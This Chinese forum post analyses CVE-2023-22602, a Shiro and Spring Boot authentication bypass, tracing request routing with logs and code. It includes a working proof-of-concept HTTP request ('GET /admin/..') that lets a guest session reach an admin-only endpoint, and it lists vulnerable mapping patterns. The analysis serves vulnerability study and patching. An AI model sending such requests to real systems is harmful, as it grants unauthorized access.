问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
Shiro < 1.11.0 & Spring Boot 2.6+ 鉴权绕过(CVE-2023-22602)
漏洞分析
shiro 在 1.11.0版本之前,当与spring boot 2.6以上版本组合使用的时候,在默认配置下,配合特定的路由规则,攻击者可以通过发送特殊的请求造成shiro中的鉴权绕过。
漏洞描述 ---- [官方通告](https://shiro.apache.org/blog/2023/01/13/apache-shiro-1110-released.html) shiro 在 1.11.0版本之前,当与spring boot 2.6以上版本组合使用的时候,在默认配置下,配合特定的路由规则,攻击者可以通过发送特殊的请求造成shiro中的鉴权绕过。 Spring + shiro 请求处理流程 --------------------- ### 搭环境 先要找一个简单标准的spring+shiro的项目。[shiro的simpals](https://github.com/apache/shiro/tree/main/samples/spring-boot-web)里正好给了。 下载到本地,`mvn spring-boot:run` 就可以跑起来。 因为spring用的log4j做日志记录,shiro用了slf4j,为了方便分析流程,可以把日志的记录级别设成ALL。 原本项目的pom.xml需要改一下,添加下面版本的依赖。 ```xml <dependency\> <groupId\>org.slf4j</groupId\> <artifactId\>slf4j-api</artifactId\> <version\>1.7.20</version\> </dependency\> <dependency\> <groupId\>org.slf4j</groupId\> <artifactId\>slf4j-log4j12</artifactId\> <version\>1.5.6</version\> </dependency\> ``` 为了打印出spring的日志,在`application.properties`中添加`debug=ture`和`trace=ture`。 为了打印出shiro中各种级别的日志,在资源目录下新建`logback.xml`内容如下: ```xml <configuration\> <appender name\="STDOUT" class\="ch.qos.logback.core.ConsoleAppender"\> <encoder\> <pattern\>%-4relative \[%thread\] %-5level %logger{35} - %msg %n</pattern\> </encoder\> </appender\> <logger name\="org.apache.shiro" level\="ALL" additivity\="false"\> <appender-ref ref\="STDOUT" /> </logger\> <root level\="ALL"\> <appender-ref ref\="STDOUT" /> </root\> </configuration\> ``` 这样就可以看到全部的调试信息,方便分析整个请求处理流程。 ![1675162564528.png](https://shs3.b.qianxin.com/attack_forum/2023/02/attach-4f951dbdc41cab4235f4934907708dd28a68821d.png) ### Spring初始化 ### 请求处理 #### doFilter 初始化完成后,当有请求进来时,一开始是对数据的处理,以及一些初始化,我们从`ApplicationFilterChain.doFilter`开始跟。 ApplicationFilterChain中保存spring中的所有Filter,其中和我们分析有关的是3号索引下的shiroFilter。 ![FilterChain.png](https://shs3.b.qianxin.com/attack_forum/2023/02/attach-3b23de01f5d679fd830d76fb7b6ee72feaa032fb.png) 通过shiroFilter,可以把执行流从spring转移到shiro,shiro的所有功能都是在这里实现的。 在进入shiroFilter之前,按照下面的顺序依次执行Filter。 ```php CharacterEncodingFilter(org.springframework.web.filter.OncePerRequestFilter).doFilter CharacterEncodingFilter.doFilterInternal ApplicationFilterChain.doFilter FormContentFilter(org.springframework.web.filter.OncePerRequestFilter).doFilter FormContentFilter.doFilterInternal ApplicationFilterChain.doFilter RequestContextFilter(org.springframework.web.filter.OncePerRequestFilter).doFilter RequestContextFilter.doFilterInternal OrderedRequestContextFilter.initContextHolders ``` 在进入shiroFilter后,开始执行shiro中的filter。 关键的调用过程如下: ```php ShiroFilter(org.apache.shiro.web.servlet.OncePerRequestFilter).doFilter ShiroFilter(AbstractShiroFilter).doFilterInternal ShiroFilter(AbstractShiroFilter).executeChain ShiroFilter(AbstractShiroFilter).getExecutionChain PathMatchingFilterChainResolver.getChain … AntPathMatcher.doMatch … DefaultFilterChainManager.proxy SimpleNamedFilterList.proxy ProxiedFilterChain.doFilter ``` 但shiro会根据具体请求去寻找对应的filters,封装成ProxiedFilterChain,然后调用ProxiedFilterChain.doFilter。例如在shiro.ini中配置了`/admin/** roles[admin]`,那么在shiro就会为/admin/xxx的请求分配InvalidRequestFilter和RolesAuthorizationFilter两个filter,当分配的filter执行完成后,shiro继续调用原本的spring的filter链。 ![ProxiedFilterChain.doFilter](https://shs3.b.qianxin.com/attack_forum/2023/02/attach-fd5348c366cc9a37c068a521258c2cde58c92c0f.png) #### doService 当filter链执行完成后,表示shiro的鉴权已经完成。ApplicationFilterChain.doFilter基本执行了一半。 ![ApplicationFilterChain.doFilter](https://shs3.b.qianxin.com/attack_forum/2023/02/attach-4dee2b2bef5a5be5552a27047342e8795ab08e11.png) 通过`servlet.service(request, response);`调用对应的doService去处理请求。关键调用大概像这样 ```php … HttpServlet.service FrameworkServlet.service HttpServlet.service FrameworkServlet.doGet FrameworkServlet.processRequest DispatcherServlet.doService DispatcherServlet.getHandler AbstractHandlerMethodMapping.getHandlerInternal AbstractHandlerMapping.initLookupPath AbstractHandlerMapping.lookupHandlerMethod ``` spring在doService阶段,才会在lookupHandlerMethod里做路由分发。最后通过反射进入Controller里的函数。 ### shiro中的路由匹配 因为shiro只存在于doFilter的流程,所以路由匹配肯定是在ShiroFilter中进行的。 ```log 2484 [main] TRACE o.a.s.w.f.a.FormAuthenticationFilter - Adding login url to applied paths. 2484 [main] DEBUG o.a.s.w.f.m.DefaultFilterChainManager - Creating chain [/login.html] with global filters [invalidRequest] and from String definition [authc] 2484 [main] DEBUG o.a.s.w.f.m.DefaultFilterChainManager - Attempting to apply path [/login.html] to filter [invalidRequest] with config [null] 2499 [main] DEBUG o.a.s.w.f.m.DefaultFilterChainManager - Attempting to apply path [/login.html] to filter [authc] with config [null] 2499 [main] DEBUG o.a.s.w.f.m.DefaultFilterChainManager - Creating chain [/logout] with global filters [invalidRequest] and from String definition [logout] 2499 [main] DEBUG o.a.s.w.f.m.DefaultFilterChainManager - Attempting to apply path [/logout] to filter [invalidRequest] with config [null] 2499 [main] DEBUG o.a.s.w.f.m.DefaultFilterChainManager - Attempting to apply path [/logout] to filter [logout] with config [null] 2499 [main] DEBUG o.a.s.w.f.m.DefaultFilterChainManager - Creating chain [/admin/**] with global filters [invalidRequest] and from String definition [roles[admin]] 2499 [main] DEBUG o.a.s.w.f.m.DefaultFilterChainManager - Attempting to apply path [/admin/**] to filter [invalidRequest] with config [null] 2499 [main] DEBUG o.a.s.w.f.m.DefaultFilterChainManager - Attempting to apply path [/admin/**] to filter [roles] with config [admin] 2499 [main] DEBUG o.a.s.w.f.m.DefaultFilterChainManager - Creating chain [/guest/**] with global filters [invalidRequest] and from String definition [roles[guest]] 2499 [main] DEBUG o.a.s.w.f.m.DefaultFilterChainManager - Attempting to apply path [/guest/**] to filter [invalidRequest] with config [null] 2499 [main] DEBUG o.a.s.w.f.m.DefaultFilterChainManager - Attempting to apply path [/guest/**] to filter [roles] with config [guest] 2499 [main] DEBUG o.a.s.w.f.m.DefaultFilterChainManager - Attempting to apply path [/**] to filter [invalidRequest] with config [null] ``` 从上面的日志里可以看到,在初始化的时候,shiro会通过各种给定的配置将不同路由和不同filter链匹配到一起。 以下面的请求为例,最终会匹配到/admin/\*\*的chain。 ```http GET /123/../admin HTTP/1.1 Host: 127.0.0.1:8081 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Cookie: JSESSIONID=0a597a79-d2bf-4595-a3b9-ac70b5bda507 Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 ``` 日志记录如下: ```log TRACE o.a.s.w.f.m.PathMatchingFilterChainResolver - Matched path pattern [/admin/**] for requestURI [/admin]. Utilizing corresponding filter TRACE o.a.s.w.servlet.AbstractShiroFilter - Resolved a configured FilterChain for the current request. TRACE o.a.s.w.servlet.ProxiedFilterChain - Invoking wrapped filter at index [0] TRACE o.a.s.w.s.OncePerRequestFilter - Filter 'invalidRequest' not yet executed. Executing now. TRACE o.a.s.web.filter.PathMatchingFilter - Attempting to match pattern '/login.html' with current requestURI '/admin'... TRACE o.a.s.web.filter.PathMatchingFilter - Pattern [/login.html] matches path [/admin] => [false] TRACE o.a.s.web.filter.PathMatchingFilter - Attempting to match pattern '/login.html' with current requestURI '/admin'... TRACE o.a.s.web.filter.PathMatchingFilter - Pattern [/login.html] matches path [/admin] => [false] TRACE o.a.s.web.filter.PathMatchingFilter - Attempting to match pattern '/logout' with current requestURI '/admin'... TRACE o.a.s.web.filter.PathMatchingFilter - Pattern [/logout] matches path [/admin] => [false] TRACE o.a.s.web.filter.PathMatchingFilter - Attempting to match pattern '/logout' with current requestURI '/admin'... TRACE o.a.s.web.filter.PathMatchingFilter - Pattern [/logout] matches path [/admin] => [false] TRACE o.a.s.web.filter.PathMatchingFilter - Attempting to match pattern '/admin/**' with current requestURI '/admin'... TRACE o.a.s.web.filter.PathMatchingFilter - Pattern [/admin/**] matches path [/admin] => [true] TRACE o.a.s.web.filter.PathMatchingFilter - Current requestURI matches pattern '/admin/**'. Determining filter chain execution... TRACE o.a.s.web.filter.PathMatchingFilter - Filter 'invalidRequest' is enabled for the current request under path '/admin/**' with config implementation for 'onPreHandle' check. TRACE o.a.shiro.web.servlet.AdviceFilter - Invoked preHandle method. Continuing chain?: [true] TRACE o.a.s.w.servlet.ProxiedFilterChain - Invoking wrapped filter at index [1] TRACE o.a.s.w.s.OncePerRequestFilter - Filter 'roles' not yet executed. Executing now. TRACE o.a.s.web.filter.PathMatchingFilter - Attempting to match pattern '/admin/**' with current requestURI '/admin'... TRACE o.a.s.web.filter.PathMatchingFilter - Pattern [/admin/**] matches path [/admin] => [true] TRACE o.a.s.web.filter.PathMatchingFilter - Current requestURI matches pattern '/admin/**'. Determining filter chain execution... TRACE o.a.s.web.filter.PathMatchingFilter - Filter 'roles' is enabled for the current request under path '/admin/**' with config [[admin]]. tation for 'onPreHandle' check. TRACE org.apache.shiro.util.ThreadContext - get() - in thread [http-nio-8081-exec-1] TRACE org.apache.shiro.util.ThreadContext - Retrieved value of type [org.apache.shiro.web.subject.support.WebDelegatingSubject] for key [org. _SUBJECT_KEY] bound to thread [http-nio-8081-exec-1] TRACE o.a.s.s.support.DelegatingSubject - attempting to get session; create = false; session is null = true; session has id = false TRACE org.apache.shiro.util.ThreadContext - get() - in thread [http-nio-8081-exec-1] TRACE org.apache.shiro.util.ThreadContext - Retrieved value of type [org.apache.shiro.web.subject.support.WebDelegatingSubject] for key [org. _SUBJECT_KEY] bound to thread [http-nio-8081-exec-1] TRACE o.a.s.s.support.DelegatingSubject - attempting to get session; create = false; session is null = true; session has id = false TRACE org.apache.shiro.util.ThreadContext - get() - in thread [http-nio-8081-exec-1] TRACE org.apache.shiro.util.ThreadContext - Retrieved value of type [org.apache.shiro.web.subject.support.WebDelegatingSubject] for key [org. _SUBJECT_KEY] bound to thread [http-nio-8081-exec-1] TRACE o.a.s.s.support.DelegatingSubject - attempting to get session; create = true; session is null = true; session has id = false TRACE o.a.s.s.support.DelegatingSubject - Starting session for host 127.0.0.1 TRACE o.a.s.s.mgt.DefaultSessionManager - Creating session for host 127.0.0.1 DEBUG o.a.s.s.mgt.DefaultSessionManager - Creating new EIS record for new session instance [org.apache.shiro.session.mgt.SimpleSession,id=null] TRACE o.a.shiro.web.servlet.SimpleCookie - calculated path: / DEBUG o.a.shiro.web.servlet.SimpleCookie - Added HttpServletResponse Cookie [JSESSIONID=972d286f-8770-46ec-ad0a-22ad95736da0; Path=/; HttpOnly; TRACE o.a.s.w.s.m.DefaultWebSessionManager - Set session ID cookie for session with id 972d286f-8770-46ec-ad0a-22ad95736da0 TRACE o.a.s.s.m.AbstractValidatingSessionManager - Attempting to retrieve session with key org.apache.shiro.web.session.mgt. TRACE o.a.shiro.web.servlet.AdviceFilter - Invoked preHandle method. Continuing chain?: [false] TRACE o.a.shiro.web.servlet.AdviceFilter - Successfully invoked postHandle method TRACE o.a.shiro.web.servlet.AdviceFilter - Successfully invoked afterCompletion method. TRACE o.a.shiro.web.servlet.AdviceFilter - Successfully invoked postHandle method TRACE o.a.shiro.web.servlet.AdviceFilter - Successfully invoked afterCompletion method. ``` #### 获取uri 第一行就可以看到,shiro解析到的uri是`/admin`而不是`/123/../admin`。 这个uri的来源是org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver的getChain中的 `final String requestURI = getPathWithinApplication(request);` ![getChain](https://shs3.b.qianxin.com/attack_forum/2023/02/attach-4f567755931e8550f9b9aecede012bcf352013bd.png) ![getPathWithinApplication](https://shs3.b.qianxin.com/attack_forum/2023/02/attach-87936be0e5fe6a873fddca17ef4e8ae5c6250b10.png) WebUtils.getPathWithinApplication里的normalize会解析`/./`和`/../` ![WebUtils](https://shs3.b.qianxin.com/attack_forum/2023/02/attach-8a4e0f8aca6c4a8728dd24f9861fb2fb729069f3.png) ![normalize](https://shs3.b.qianxin.com/attack_forum/2023/02/attach-da97e30bd5c2e04971b051444ae845778a90f002.png) 此外,getServletPath(request) 和 getPathInfo(request)获得的是经过urldecode和`..`解析的uri。 #### 匹配 shiro中在pathMatches里进行匹配。 ![pathMatches](https://shs3.b.qianxin.com/attack_forum/2023/02/attach-960c479f27fcb75cf25837d579180ef6fed8a474.png) 而pathMatcher便是AntPathMatcher。 ![AntPathMatcher](https://shs3.b.qianxin.com/attack_forum/2023/02/attach-955452e397001866268820ae3b42ed7fb22411e4.png) ### spring中的路由匹配 在spring中,路由匹配发生在doService中。 在`AbstractHandlerMethodMapping.getHandlerInternal`中,在lookupHandlerMethod中获取uri以及匹配。 调用如下。 ```php AbstractHandlerMapping.lookupHandlerMethod AbstractHandlerMapping.addMatchingMappings AbstractHandlerMapping.getMatchingMapping RequestMappingInfo.getMatchingCondition ``` ![getMatchingCondition](https://shs3.b.qianxin.com/attack_forum/2023/02/attach-f945fbb6465dbc40b74f9098fcc0d7bd4db71a97.png) 在getMatchingCondition里可以看到pathPatternsCondition和patternsCondition两种方式,对应了spring配置中`spring.mvc.pathmatch.matching-strategy`的ant\_path\_matcher和path\_pattern\_parser的路由匹配模式。 ant\_path\_matcher对应patternsCondition。path\_pattern\_parser对应pathPatternsCondition。 在spring2.6+后,path\_pattern\_parser为默认配置。 ant\_path\_matcher中`?`匹配单个字符,`*`匹配单级目录,`**`匹配多级目录。 path\_pattern\_parser支持`{*name}`获取多级变量,并且`**`后面不能再有其他东西。 通过跟源码可以发下,这部分的处理中spring基本都是并列写两个if,去分别处理ant\_path\_matcher和path\_pattern\_parser的情况。 #### ant\_path\_matcher ant\_path\_matcher对应的是PatternsRequestCondition.getMatchingCondition ![PatternsRequestCondition.getMatchingCondition](https://shs3.b.qianxin.com/attack_forum/2023/02/attach-97153907c9aa9f7e977dca6b9515587c48289d25.png) ##### 获取uri `String lookupPath = UrlPathHelper.getResolvedLookupPath(request);`获取uri。 ![UrlPathHelper.getResolvedLookupPath](https://shs3.b.qianxin.com/attack_forum/2023/02/attach-657f91c581c5749c3ac522183dac56e510994430.png) PATH\_ATTRIBUTE的设置是在resolveAndCacheLookupPath函数中,调用点为AbstractHandlerMapping.initLookupPath ![AbstractHandlerMapping.initLookupPath](https://shs3.b.qianxin.com/attack_forum/2023/02/attach-218022c48837722b0b4f3f40e4b3234b75789619.png) getUrlPathHelper()拿到的其实是shiro里继承的ShiroUrlPathHelper。 类中重写了getPathWithinApplication方法。 ![ShiroUrlPathHelper](https://shs3.b.qianxin.com/attack_forum/2023/02/attach-6df4ddbc297a81485fccf807069bfa0e7f466b1b.png) spring获取uri是调用getLookupPathForRequest,又调用ShiroUrlPathHelper.getPathWithinApplication,拿到的uri和shiro中的是一致的。 ![1675175443952](https://shs3.b.qianxin.com/attack_forum/2023/02/attach-d5f01ba76164518a1af973d9cf121bb3beb6c230.png) ##### 匹配 匹配便是ant风格的匹配。 #### path\_pattern\_parser 在path\_pattern\_parser模式下对应的是PathPatternsRequestCondition.getMatchingCondition ![PathPatternsRequestCondition.getMatchingCondition](https://shs3.b.qianxin.com/attack_forum/2023/02/attach-9829f1f0490f66c69a9dcfa5f8d6e081ec2795fa.png) ##### 获取uri `ServletRequestPathUtils.getParsedRequestPath(request).pathWithinApplication();`获取uri。 也是通过获取PATH\_ATTRIBUTE属性,在parseAndCache中设置。 ![parseAndCache](https://shs3.b.qianxin.com/attack_forum/2023/02/attach-202fbf07f29f2b2f5ef680672e6c7a4a5931971f.png) parseAndCache在DispatcherServlet.doService中调用。 ![doService](https://shs3.b.qianxin.com/attack_forum/2023/02/attach-5054138465ceca1381189387c409a38f90bbe9af.png) 调用ServletRequestPath.parse(request) ![parse](https://shs3.b.qianxin.com/attack_forum/2023/02/attach-b8ab4cceb333359708874c49db09a32d0e6ee5ed.png) 然后通过getRequestURI获得。从注释可以看到,返回的应该是没有decode以及解析`..`的原始值。 ![getRequestURI](https://shs3.b.qianxin.com/attack_forum/2023/02/attach-05a705932e9cd3eb14b702f1085be0935af69bab.png) 漏洞利用 ---- 所以,就如漏洞描述中写的,当spring中使用path\_pattern\_parser配置的时候,就会造成在shiro和spring中路由分发时候获取uri时的结果差异。 也就可能造成shiro中鉴权绕过。 例如shiro中配置路由规则如下: ```java DefaultShiroFilterChainDefinition chainDefinition = new DefaultShiroFilterChainDefinition(); chainDefinition.addPathDefinition("/login.html", "authc"); // need to accept POSTs from the login form chainDefinition.addPathDefinition("/logout", "logout"); chainDefinition.addPathDefinition("/admin/**", "roles[admin]"); chainDefinition.addPathDefinition("/guest/**", "roles[guest]"); ``` 在controller中如下设置: ```java @Controller public class AccountInfoController { @RequestMapping("/admin/**") public String home(Model model) { String name = "World"; Subject subject = SecurityUtils.getSubject(); PrincipalCollection principalCollection = subject.getPrincipals(); if (principalCollection != null && !principalCollection.isEmpty()) { name = principalCollection.getPrimaryPrincipal().toString(); } model.addAttribute("name", name); return "account-info"; } ``` 正常来说,应该之后admin角色才能访问AccountInfoController的home。 ![admin-200](https://shs3.b.qianxin.com/attack_forum/2023/02/attach-8fbac2e214376cccb53cec4d4f282c7665d2263a.png) ![guest-401](https://shs3.b.qianxin.com/attack_forum/2023/02/attach-9b5a5002183d0986041501783c7730f7cb7b64ad.png) 但如果利用shiro会解析`..`而spirng不会的差异,可以发送如下请求,使guest的cookie可以访问这个接口。 ```http GET /admin/.. HTTP/1.1 Host: 127.0.0.1:8081 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Cookie: JSESSIONID=f75894a9-955f-4778-b78e-bf6ae7c6f423 Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 ``` ![guest-200](https://shs3.b.qianxin.com/attack_forum/2023/02/attach-971ce0f76f0ec91d90d640f5a02f5b71f419ab67.png) 因为shiro认为这是一个`/`的请求,但spring最后会分发到`/admin/**`上。 漏洞修复 ---- ![https://github.com/apache/shiro/compare/shiro-root-1.10.1...shiro-root-1.11.0#diff-654a62c0dc61e9e9f936bca9bfdbb7ccc11ec5462b12a1056f096fe3b2807870R32](https://shs3.b.qianxin.com/attack_forum/2023/02/attach-7168a6e7b16f75ee2671a2ea0a04b7fae00eb3ab.png) shiro在1.11.0中强制使用ant\_path\_matcher... else ---- ### 利用 感觉这个漏洞的危害不高。 因为这个要依靠特定的配置才能打通。简单说就是spring中的RequestMapping要能匹配多级路径或者至少二级。 下面的写法都可能造成绕过。 ```java @RequestMapping("/admin/**") @RequestMapping("/admin/*") @RequestMapping("/admin/{*path}") ``` 但如果只写成`@RequestMapping("/admin")`应该是无法利用的。 另外,如果利用注释去为函数设置权限,将会在最终spring匹配成功后真正进行invoke的时候调用鉴权,导致无法利用。 ![@RequiresRoles("admin")](https://shs3.b.qianxin.com/attack_forum/2023/02/attach-bc7477934502c91166251ed32d757ccd4796e5f2.png) ### 杂谈 记录一下在看跟源码的时候看到的一种我没见过的if else写法 ![if-else](https://shs3.b.qianxin.com/attack_forum/2023/02/attach-02256b65471a729b6a1d3fded0dc409f01261bd0.png)
发表于 2023-02-03 10:01:33
阅读 ( 9535 )
分类:
漏洞分析
2 推荐
收藏
0 条评论
请先
登录
后评论
nama
1 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!